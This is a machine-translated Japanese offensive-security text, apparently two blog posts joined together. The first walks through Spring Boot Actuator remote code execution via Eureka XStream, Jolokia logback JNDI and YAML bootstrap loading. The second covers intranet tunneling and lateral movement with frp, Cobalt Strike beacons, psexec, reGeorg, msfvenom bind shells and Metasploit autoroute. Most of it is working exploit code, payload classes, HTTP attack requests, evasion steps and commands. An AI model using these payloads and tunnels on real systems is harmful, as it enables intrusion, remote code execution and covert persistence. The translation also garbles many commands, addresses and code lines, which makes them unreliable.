取得するためのbase64デコード

root@kali:/tmp#echo mzgzndy6bnvsba==| base64 -d

38346:Null

上記のPID情報と同じです

同様に、user.countryパラメーターを取得すると、手順は同じです

結果:

root@kali:/tmp#nc -lvvp 2555

[任意の] 2555で聞く.

Kali [10.20.24.191]から[10.20.24.191]に接続します。38994

get/xstream/apps/http/1.1

Accept: Application/JSON

discoveryidentity-name: defaultclient

DiscoveryIdentity-version: 1.4

DiscoveryIdentity-ID: 10.20.24.191

Accept-Encoding: GZIP

HOST: 10.20.24.191:2555

Connection: Keep-Alive

user-agent: java-eurekaclient/v1.4.11

Authorization: Basic VVM6BNVSBA==

0、RCVD 310を送信します

取得するためのbase64デコード

root@kali:/tmp#echo vvm6bnvsba==| base64 -d

US: Null Scripting:

照会するパラメーターを入力し、NC llad5cqintr3197.pngで聴くポートを入力します

1049983-20230301123204371-1348724531.jpg

ポートを聴き、指定されたヘッダーヘッダーを取得し、自動的にbase64復号化5ffticqtc4w3199.png

1049983-20230301123205136-1093949527.jpg 1049983-20230301123206021-825774621.jpg

PS:ターゲットクラスパス(通常はSpring Cloud Netflixに含まれる)にEureka-Client 1.8.7を持つことができた場合、XStream Deserializationの脆弱性を活用できます。

たとえば、USER-AGENT: JAVA-EUREKACLIENT/V1.4.11

2。 springboot_actuator jndi rce

1。環境構築

git clone 3https://github.com/veracode-research/actuator-testbed

起動する

MVNインストール

または

MVN Spring-Boot:Run

コンピレーションと操作により、リスニングIPアドレスは127.0.0.1であり、ローカルマシンのみでアクセスできることがわかりました。 Baidu検索、0.0.0.0に変更するだけです。

キーファイルを見つけます

grep -r 'server.address' -n ./

./src/main/resources/application.properties:23360server.address=127.0.0.1

./target/classes/application.properties:2:server.address=127.0.0.1

に変更します

server.port=8090

server.address=0.0.0.0

#脆弱な構成セット0:スプリングブート1.0-1.4

#すべてのスプリングブートバージョン1.0-1.4パラメーターなしでデフォルトでアクターを公開する

#それらを公開するために必要な構成はありません

#セーフ構成セット0:スプリングブート1.0-1.4

#management.security.enabled=true

#脆弱な構成セット1:スプリングブート1.5+

#スプリングブート1.5+はmanagement.security.enabled=falseを必要とします敏感なアクターを公開する

#management.security.enabled=false

#セーフ構成セット1:スプリングブート1.5+

# 'management.security.enabled=false'が、すべての敏感なアクターが明示的に無効になっている場合

#management.security.enabled=false

#脆弱な構成セット2:スプリングブート2+

#management.endpoints.web.exposure.include=*

2。再起動して起動

mvn spring-boot:run

または

/opt/jdk1.8.0_60//bin/java-classpath /opt/apache-maven-3.6.2/plexus-classworlds-2.6.0.jar -dclassworlds.conf=/opt/apache-maven-3.6.2/bin/bin/m2.conf -dmaven.home=/opchmen.home -dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -dmaven.multimoduleprojectdirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.launchersprun-boot3:Run

しばらく待ってください

root@kali:〜/actuator/actuator -testbed#netstat -ntpl | grep 8090

TCP6 0 0 :8090 :*聞いて33666/java

root@kali:〜/actuator/actuator-testbed#

http://10.20.24.191:8090/y3gktuvd0nd3206.png

1049983-20230301123206803-2050467207.png

http://10.20.24.191:8090/Jolokia/List umwecg2inj53214.png

1049983-20230301123207520-1178629798.png

reloadbyurlは、リモートURL XMLファイルをロードできます

'ch.qos.logback.classic': {

'name=default、type=ch.qos.logback.classic.jmx.jmxconfigurator': {

'op': {

'reloadbyurl': {

'args': [

{

'name ':' p1 '、

'Type':' java.net.url '、

'desc':' '

}

]、

'ret':' void '、

'desc':'管理のために公開された操作'

}

3.HTTP Service Stores logback.xml、exportobject.class

logback.xmlファイルコンテンツ

mwanhhuwvaa3219.png

1049983-20230301123208204-1124192519.pngConfiguration

InsertFromjndi env-entry-name='rmi: //10.20.24.19133601099/exploit' as='appname'/

/構成

ExportObject.java

java.io.bufferedreaderをインポートします。

java.io.inputStreamをインポートします。

java.io.inputStreamReaderをインポートします。

Public Class ExportObject {

public ExportObject()スロー例外{

process var1=runtime.getRuntime()。exec( 'touch /tmp /jas502n');

inputstream var2=var1.getinputStream();

BufferedReader var3=new BufferedReader(new inputStreamReader(var2));

文字列var4;

while((var4=var3.readline())!=null){

System.out.println(var4);

}

var1.waitfor();

var2.close();

var3.close();

var1.destroy();

}

public static void main(string [] var0)は例外をスローします{

}

}

4.rceトリガー

RMIポートを聴いてください

root@kali:〜/ldap_rmi#cat rmi.sh

Java -CP MARSHALSEC-0.0.3-SNAPSHOT-ALL.JAR MARSHALSEC.JNDI.RMIREFSERVER http://10.20.24.191:8000/#EXPORTOBJECT

root@kali:〜/ldap_rmi#./rmi.sh

* 1099にJRMPリスナーを開く

/10.20.24.191:43878から接続があります

メッセージを読む.

rmi.lookup call for exportobject 2です

http://10.20.20.24.191:8000/exportobject.classをターゲットとするリモートクラスロードスタブの送信

接続を閉じます

ブラウザアクセスは、解析用のリモートlogback.xmlファイルをロードします。

サーバーは悪意のあるJNDIアドレスにアクセスし、悪意のあるバイトコードコードの実行を引き起こします

http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:name=default、type=ch.qos.l ogback.classic.jmx.jmxconfigurator/reloadbyurl/http:

myua4gfcyvq3226.png

1049983-20230301123208943-696382667.png

5。コマンドの実行は成功しました

root@kali:/var/www/html#ls/tmp/j*

/TMP/JAS502N

root@kali:/var/www/html#

iii。 YML RCE脆弱性

スプリング環境でRCEを実装する方法spring.cloud.bootstrap.locationプロパティの変更はより信頼性が高い

このプロパティは、外部構成をロードし、YAML形式で解析するために使用されます。これを達成するために、ポスト/リフレッシュコンテンツは脆弱性を引き起こします。 yaml_payload.ymlファイルコンテンツ:

! javax.script.scriptenginemanager [

! java.net.urlclassloader [[[[

! java.net.url ['http://10.20.24.191:8000/yaml_payload.jar']

]]

]

1.yaml_payload.jar製造

コード3https://github.com/artsploit/yaml-payload

1049983-20230301123209714-1255248784.jpgawesomescriptenginefactory.javaコードの一部

javax.script.scriptengineをインポートします。

javax.script.scriptengineFactoryをインポートします。

java.io.ioexceptionをインポートします。

java.util.listをインポートします。

Public Class AwesomeScriptEngineFactoryはScriptEngineFactoryを実装しています{

public wesomescriptengineFactory(){

試す {

runtime.getRuntime()。exec( 'touch /tmp /success');

} catch(ioException e){

e.printstacktrace();

}

}

ymal_payload.jar \ artsploit \ awesomescriptenginefactory.java

実際のバイトコードが含まれており、コンストラクターに悪意のあるペイロードがあります。

ymal_payload.jar \ services \ javax.script.scriptengineFactory

serviceloaderがクラスを見つける場所を知っているように、「artsploit.awesomescriptenginefactory」への完全な参照を含むテキストファイルだけ

コンテンツ:Artsploit.awesomescriptengineFactory

JARファイルはHTTPサーバーに存在します

http://10.20.24.191:8090/ymal_payload.jar

2.spring.cloud.bootstrap.location

をセットします

Sprud.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

1049983-20230301123210372-433777415.pngpost /env http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

x-forwarded-for: 127.0.0.1

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 73

spring.cloud.bootstrap.Location=http://10.20.20.24.19133608000/yaml_payload.yml

3. refresh任意のコンテンツを投稿し、RCEの脆弱性がトリガーされました

1049983-20230301123211028-1986776549.pngPOST /更新HTTP /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

x-forwarded-for: 127.0.0.1

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 5

12312

4.RCE実行は成功しました

1049983-20230301123211641-785428136.jpgROOT@kali:/var/www/html#ls/tmp/suck*

/TMP/成功

root@kali:/var/www/html#ps: eurekaのxstreamペイロードと比較して、yamlメソッドは最新バージョンでも使用できます。参照リンク3https://www.veracode.com/blog/research/exploiting-spring-boot-actuatorsオリジナルリンク:https://github.com/jas502n/springboot_actuator_rce

序文

イントラネットの浸透、ウェブシェル、またはコバルトストライク、メタスプロイトが発売される場合などはほんの始まりに過ぎず、イントラネットを水平に移動し、結果を拡大し、コア領域を攻撃することについてです。ただし、侵入後の前提条件は、さらなる攻撃のためにイントラネットに「排他的なチャネル」を構築することです。ただし、実際の戦闘では、ネットワーク環境が異なるため、使用方法は異なります。

この記事の内容は、次のマインドマップに従って拡張されています

1049983-20230224142532264-1745740093.png

ターゲットアウトバウンド(ソックスプロキシ)

これは、実際の戦闘で最も喜んで遭遇するネットワーク環境です。ターゲットマシンは通常のインターネットにアクセスでき、ターゲットマシンにソックスエージェントまたはコバルトストライクを直接吊るすことができ、ターゲットのイントラネットチャネルを開きます。

frp(socks5)

FRPサーバー構成ファイル

[共通] bind_port=8080

FRPクライアント構成ファイル

[common] server_addr=xx.xx.xx.xxserver_port=8080#serviceポート共通Webポート[socks5]タイプ=tcpremote_port=8088plugin=socks5use_encrypting=trueuse_compression=true#socks5 password#pluginer=superman#plagin_passwdwd=xpasswdwdwdnj3

暗号化と圧縮の2つの関数がここに追加されますが、デフォルトでは有効にされていません。著者の紹介によると、圧縮アルゴリズムはSnappyを使用しています。

use_encryption=true enable enbryption [通信コンテンツの暗号化された送信、トラフィックが傍受されるのを効果的に防ぐ]

use_compression=True Enable Compression [圧縮のコンテンツを送信し、送信されたネットワークトラフィックを効果的に削減し、トラフィック転送を高速化しますが、追加のCPUリソースを消費します]

use_encryption=true、use_compression=trueは、関連するプロトコルの下に配置する必要があります。

FRPクライアントと構成ファイルがターゲットマシンに送信された後、プログラム名と構成ファイルが変更され、システム関連フォルダーに配置され、隠蔽を確保する

1049983-20230224142533345-25461972.png

Setg Proxies Socks5:xxx.xxx.xxx.xxx.xxx33608088

1049983-20230224142534352-1447532887.png

1049983-20230224142535339-171170652.png

暗号化圧縮の比較

これは、暗号化と圧縮機能を使用しないFRPクライアント構成ファイルです。メタプロイトはソックスプロキシを使用して、MS17_010で送信されたデータパケットをスキャンして、特定の攻撃動作を明確に識別できます。ターゲットイントラネットに「状況認識」やトラフィック分析などのセキュリティ機器がある場合、監視され、アクセス許可が失われます。

1049983-20230224142537124-265593420.png

暗号化と圧縮関数を使用した後、攻撃源アドレスも公開されますが、イントラネットのセキュリティ監視装置を回避して、送信されたデータパケットを区別することはできません。

1049983-20230224142538872-1038217254.png

コバルトストライク(socks4a)

制御されたターゲットマシンのビーコンに移動して、ソックスエージェントを有効にします

ビーコンソックス1024 #portは、VPS 1049983-20230224142540260-1761613912.pngの実際の状況に従って設定されています

メニューバーでプロキシピボットを表示したり、コピープロキシをMetasploitに接続するか、関連するセキュリティツールにSocks4aを直接ハングします。

1049983-20230224142541215-1251437351.png

オンラインマシンなし

これはリンクリンクです。メインリンク(ビーコン)が切断されている限り、それらはすべて切断されます!

smbビーコン

SMBビーコンの公式紹介:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用します。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは、通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されています。

SMBリスナー(ホストとポートは無視できます)を作成し、リスナーの選択に注意を払い、セッションのルートで到達できるホスト由来セッションを選択します。

(listnerでSMBを作成し、右クリックしてスポーンとして、対応するリスナーを選択してオンラインに移動します)

1049983-20230224142542278-180468149.png

操作が成功した後、派生したSMBビーコンの接続状態であるキャラクター∞∞を見ることができます。

1049983-20230224142543098-1226011871.png

1049983-20230224142544024-1697757212.png

リンクホストリンクで切断したり、メインビーコンのホストを解除したりすることができます。

ビーコンリンク192.168.144.155Beacon Unlink 192.168.144.155

1049983-20230224142544793-801332852.png

リンクリスナー

オンラインホストでリスナーを作成します。

1049983-20230224142545857-1740604679.png

このタイプのリスナーに対応する実行可能ファイルまたはDLLをエクスポートします。

1049983-20230224142546752-1507421909.png

作成したばかりのリスナーを選択します。

1049983-20230224142547847-1044211816.png

現在オンラインのターゲットマシンに生成されたばかりの有料ロードをアップロードし、ここでpsexec.exeツールを使用します。 (Cobalstrike自体にはPSEXEC機能が十分に強力ではありません)

1049983-20230224142549243-84796711.png

ビーコンのPSEXECツールを使用して、ネットワークを離れないターゲットマシンにペイロードをアップロードし、自動的に実行し、オンラインになります。

ビーコンシェルC: \ Windows \ Temp \ psexec.exe -Accepteula \\ 192.168.144.155,192.168.144.196 -U管理者@123 -d -C C: \ Windows \ Temp \ Beacon.exe 1049983-20230224142550123-1684873727.png

ビーコンシェルネットスタット-ANO | FindSTR 4444 1049983-20230224142551200-270034115.png

sshログイン

ビーコンSSH 192.168.144.174:22ルート管理者SSH 192.168.144.203:22ルート管理1049983-20230224142552831-1968669971.png

Linuxターゲットマシンのネットワーク接続ステータスを確認することは、実際には以前に起動したWindowsホストに確立された接続です。

1049983-20230224142553943-548434050.png

ターゲットはネットワークから出ない(HTTPプロキシ)

ターゲットマシンネットワークには、ファイアウォール、ネットワークゲートなどがある場合があります。これは、HTTP一元配電のみを許可し、通常はインターネットにアクセスできません。上記のソックス法は実行不可能であり、HTTPプロキシを使用して浸透するためにのみ使用できます。

regeorg(socks5)

Python regeorgsocksproxy.py -u 3http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -P 10080 1049983-20230224142555256-361722001.png

Metasploitを使用してRegeorg Socks Proxyをハングアップし、MS17_010から送信されたデータパケットをスキャンして、攻撃動作を明確に識別できます。

1049983-20230224142556497-189470924.png

neo-regeorg(暗号化)

python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -U http://192.168.144.211/neo -tunnel.aspx neo -regeorgを使用した後、パケットは覆われ、送信されました。

1049983-20230224142557625-1253582995.png

1049983-20230224142559130-1424827852.png

Ice Scorpion(Open Socks5)

Ice Scorpionのパケット送信は暗号化されており、Socks Proxyの機能もありますが、送信プロセス中にパケット損失があります。ここでは、Metasploitを使用してMS17_010の脆弱性を検出しますが、結果は存在しないことを示しています。プロキシ検出が設定されていない場合、実際の脆弱性が存在します。

アイススコーピオンのプロキシスキャン方法はRegeorgほど正確ではありませんが、補助/スキャナー/ポートスキャン/TCPなど、小さなスレッドのポート検出が実現可能です。精度は、何らかの検出またはその他の伝送方法でのパケットの数によってより決定されます。

1049983-20230224142600344-1412889751.png

reduh(シングルポート転送)

Reduh使用法:https://Blog.csdn.net/nzjdsds/article/details/82930774

ターゲットサーバーミドルウェアおよびその他のサービスのサービスバージョンが低く、RegeorgまたはIce Scorpion Horseが正常に解決できない場合、他のHTTPプロキシスクリプトを使用する必要があります。これは、実際の戦いで遭遇する環境です。

1049983-20230224142601591-2079437689.png

ここで例として、Reduhを取り上げてください。指定されたポート(グラフィカル接続操作は該当しない)のみを転送しますが、最初にMSFvenomを使用してフォワードシェルペイロードを生成し、次にReduhシングルポート転送を組み合わせてMetasploitを起動し、最後にSocks4Aモジュールを使用してプロキシを開きます。

以下の特定のプロセスを見てみましょう。

sudo msfvenom -platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o -o x86shell.exe# - プラットフォームプラットフォームプラットフォームプラットフォームプラットフォーム#-e、-ecoderエンコーダーのターゲットプラットフォームを指定します。1049983-20230224142602934-1200891124.png

ペイロードをターゲットサーバーにアップロードして実行します。

1049983-20230224142603965-416795358.png

Metasploitは、転送を聞いた後のアドレスとポートです。

sudo msfconsole -qmsf5の使用exploit/multi/handlermsf5 exploit(multi/handler)setpayload windows/shell_bind_tcpmsf5 exploit(multi/handler)setrhost 127.0.0.0.1msf5 exploit(multi/handler)setlport 5353msf5 exploit(multi/handler)setlport

1049983-20230224142604758-483591403.png

Java -jar reduhclient.jar http://103.242.xx.xx/reduh.aspxtelnet 127.0.0.1 1010 [CreateTunnel] 53533:127.0.0.1:53 1049983-20230224142605953-743617388.png

Metasploitに浸透するか、Socks4aをオンにし、他のセキュリティツールをマウントして浸透を継続することができます。

MSF5 Exploit(Multi/Handler)auxiliary/server/socks4amsf5 auxiliary(server/socks4a)setsrvport 10080msf5 Auxiliary(server/socks4a)run -J 1049983-20230224142606896-1778899880.png run -j 1049983-20230224142606896-1778899880.png

知らせ

なぜペイロードはメータープレターの代わりにシェルを使用するのですか? MeterPreterは、送信中に多数のデータパケットを占める高レベルのペイロードです。このシングルポート転送は、まったく安定していません。 MeterPreterは「小さな水道管」をより不安定にします!

1049983-20230224142608228-1078214678.png

分離ネットワーク(マルチレベルエージェント)

イントラネットの浸透では、孤立したネットワークがあり、しばしば論理的に分離されています。画期的な方法は、ルートアクセス可能なスプリングボードマシン(複数のネットワークカード、操作およびメンテナンスマシンなど)の許可を取得し、第1レベルのセカンドレベルエージェントとサードレベルエージェントを確立することです。

frp

デュアルネットワークカードイントラネットサーバーの許可を取得し、FRPを使用してチャネルを確立できます。このサーバーは、サーバーとクライアントの両方です。

(詳細については、https://www.cnblogs.com/panda-mosen/p/13096260.htmlを参照してください)

1049983-20230224142609583-1740371388.png

proxifier

FRPで設立が行われた後、外部ネットワークソックスと内部ネットワークソックの2つのプロキシングをプロキシファイアと組み合わせて追加し、プロキシチェーンを作成します。 (プロキシ注文に注意してください)

1049983-20230224142610421-647772374.png

プロキシルールを設定し、対応するプロキシを選択します。

1049983-20230224142611293-383878925.png

第2層エージェントが成功し、イントラネットアイソレータ445の検出が開かれました。

1049983-20230224142612056-496052384.png

proxychains

コマンドラインプロキシアーティファクトプロキシチャイン、2層プロキシとソックスのパスワードを設定します。 (プロキシ注文に注意してください)

1049983-20230224142612925-438785037.png

Linked Metasploit、MS17_010検出、プロキシチェーンの伝送プロセスを見ることができます。

1049983-20230224142613833-2089296271.png

Metasploitを利用するために、セッションのルートにアクセスできる限り、多層ネットワークの浸透を直接実行でき、より便利です。しかし、メインセッションはドロップされ、それらはすべて削除されます!

ターゲットのセッションを取得した後、IPセグメント情報を表示して、ルーティングテーブルを自動的に追加できます。

MSF5 Exploit(Multi/Handler)セッション1MeterPreter run get_local_subnetsmeterpreter run autoroute -pmeterpreter run run run run run run run autoroute autoroute -pmeterpreterバックグラウンド1049983-20230224142614751-1941725556.png

上記はMeterPreterの許可に追加されます。または、ターゲットルーティングテーブル情報がわかっている場合は、直接追加できます。

MSF5エクスプロイト(マルチ/ハンドラー)ルート追加172.20.20.0/24 1 //セッションID 1MSF5エクスプロイト(マルチ/ハンドラー)ルート1049983-20230224142616334-533434405.png

Metasploitに浸透し続けるか、靴下をオンにして、他のツールを取り付けて複数の層に浸透することができます。

MSF5 Exploit(Multi/Handler)auxiliary/server/socks4amsf5 auxiliary(server/socks4a)setsrvport 1080msf5 Auxiliary(server/socks4a)run -j、およびopen/etc/proxychains.conf

1049983-20230224142617197-1581376007.png

オリジナルリンク:https://www.cnblogs.com/yokan/p/14057794.html